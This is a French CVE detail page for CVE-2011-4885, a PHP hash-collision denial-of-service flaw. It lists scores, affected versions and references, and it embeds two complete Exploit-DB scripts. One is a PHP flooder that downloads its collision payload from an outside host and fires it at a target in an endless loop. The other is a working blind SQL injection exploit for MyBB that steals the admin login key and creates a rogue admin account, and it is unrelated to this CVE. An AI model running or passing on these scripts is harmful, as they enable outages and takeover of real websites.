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CVE-2011-4885 : Détail

CVE-2011-4885

A03-Injection
87.47%V3
Network
2011-12-30 00:00 +00:00
2018-01-08 19:57 +00:00
CVE.org
NVD

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Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

PHP before 5.3.9 computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18296

Date de publication : 2011-12-31 23:00 +00:00
Auteur : infodox
EDB Vérifié : No

# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit # Date: 1/1/12 # Author: infodox # Software Link: php.net # Version: 5.3.* # Tested on: Linux # CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt <?php /* PHP 5.3.* Hash Colission DoS Exploit by infodox Original version by itz me (opensc.ws) CVE-2011-4885 Mirrors List: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18296.txt (hashcollide.txt) http://compsoc.nuigalway.ie/~infodox/hashcollide.txt http://jrs-s.net/hashcollide.txt http://www.infodox.co.cc/Downloads/hashcollide.txt Changes: Different mirror for hashcollide.txt Now takes target as a command line argument Status message printing Twitter: @info_dox Blog: blog.infodox.co.cc Site: http://www.infodox.co.cc/ */ $targ = $argv[1]; $x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones... while(1) { echo "firing"; $ch = curl_init("$targ"); curl_setopt($ch, CURLOPT_POSTFIELDS, $x); curl_exec($ch); curl_close($ch); echo "[+] Voly Sent!"; } ?>
Exploit Database EDB-ID : 2012

Date de publication : 2006-07-14 22:00 +00:00
Auteur : rgod
EDB Vérifié : Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n"; /* works regardless of php.ini settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to MyBB\n"; echo "Options:\n"; echo " -T[prefix] specify a table prefix different from default (mybb_)\n"; echo " -u[number] specify a user id other than 1 (usually admin)\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo " -d: disclose table prefix (reccomended)\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -d\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n"; die; } /* software site: http://www.mybboard.com/ vulnerable code in inc/functions.php near lines 1292-1320: ... function getip() { global $_SERVER; if($_SERVER['HTTP_X_FORWARDED_FOR']) { if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses)) { while(list($key, $val) = each($addresses[0])) { if(!preg_match("#^(10|172\.16|192\.168)\.#", $val)) { $ip = $val; break; } } } } if(!$ip) { if($_SERVER['HTTP_CLIENT_IP']) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } return $ip; } ... you can spoof your ip address through the CLIENT-IP http header... as result you can inject sql statements in class_session.php at lines 36-68: by calling the main index.php script ... function init() { global $ipaddress, $db, $mybb, $noonline; // // Get our visitors IP // $this->ipaddress = $ipaddress = getip(); // // User-agent // $this->useragent = $_SERVER['HTTP_USER_AGENT']; if(strlen($this->useragent) > 100) { $this->useragent = substr($this->useragent, 0, 100); } // // Attempt to find a session id in the cookies // if($_COOKIE['sid']) { $this->sid = addslashes($_COOKIE['sid']); } else { $this->sid = 0; } // // Attempt to load the session from the database // $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'"); ... injection is blind, but you can ask true-false questions to the database to retrieve the admin loginkey. Through that you can build an admin cookie and create a new admin user through the admin/users.php script. Also you can disclose table prefix. -------------------------------------------------------------------------------- -*****************************************************************************- * * * Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto * * grazie Grosso! * * * -*****************************************************************************- */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $anumber = rand(1,99999); $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="mybb_"; $user_id="1";//admin $proxy=""; $dt=0; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $sql="'suntzuuuu/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("You have an error in your SQL syntax",$html)) { $temp=explode("sessions",$html); $temp2=explode(" ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n"; } else { echo "unable to disclose table prefix...\n"; } sleep(1); } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(65,90));//A-Z letters $chars=array_merge($chars,range(97,122));//a-f letters $j=1; $loginkey=""; while (!strstr($loginkey,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";"; echo "admin cookie -> ".$cookie."\r\n"; $data='-----------------------------7d62702f250530 Content-Disposition: form-data; name="action"; do_add -----------------------------7d62702f250530 Content-Disposition: form-data; name="userusername"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="newpassword"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="email"; [email protected] -----------------------------7d62702f250530 Content-Disposition: form-data; name="usergroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="additionalgroups[]"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="displaygroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="Add User"; Add User -----------------------------7d62702f250530-- '; $packet="POST ".$p."admin/users.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("The user has successfully been added",$html)) { echo "exploit succeeded... now login as admin\n"; echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n"; } else { echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n"; } ?> # milw0rm.com [2006-07-15]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.8

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.1

Php>>Php >> Version 5.0.2

Php>>Php >> Version 5.0.3

Php>>Php >> Version 5.0.4

Php>>Php >> Version 5.0.5

Php>>Php >> Version 5.1.1

Php>>Php >> Version 5.1.2

Php>>Php >> Version 5.1.3

Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

Php>>Php >> Version 5.1.6

Php>>Php >> Version 5.2.0

Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

Php>>Php >> Version 5.2.5

Php>>Php >> Version 5.2.6

Php>>Php >> Version 5.2.7

Php>>Php >> Version 5.2.8

Php>>Php >> Version 5.2.9

Php>>Php >> Version 5.2.10

Php>>Php >> Version 5.2.11

Php>>Php >> Version 5.2.12

Php>>Php >> Version 5.2.14

Php>>Php >> Version 5.2.15

Php>>Php >> Version 5.2.16

Php>>Php >> Version 5.2.17

Php>>Php >> Version 5.3.0

Php>>Php >> Version 5.3.1

Php>>Php >> Version 5.3.2

Php>>Php >> Version 5.3.3

Php>>Php >> Version 5.3.4

Php>>Php >> Version 5.3.5

Php>>Php >> Version 5.3.6

Php>>Php >> Version 5.3.7

References

http://www.securitytracker.com/id?1026473
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/47404
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.exploit-db.com/exploits/18296
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2012/dsa-2399
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDVSA-2011:197
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.exploit-db.com/exploits/18305
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=133469208622507&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48668
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2012-0019.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/51193
Tags : vdb-entry, x_refsource_BID
http://www.kb.cert.org/vuls/id/903934
Tags : third-party-advisory, x_refsource_CERT-VN
http://rhn.redhat.com/errata/RHSA-2012-0071.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT5281
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=132871655717248&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA

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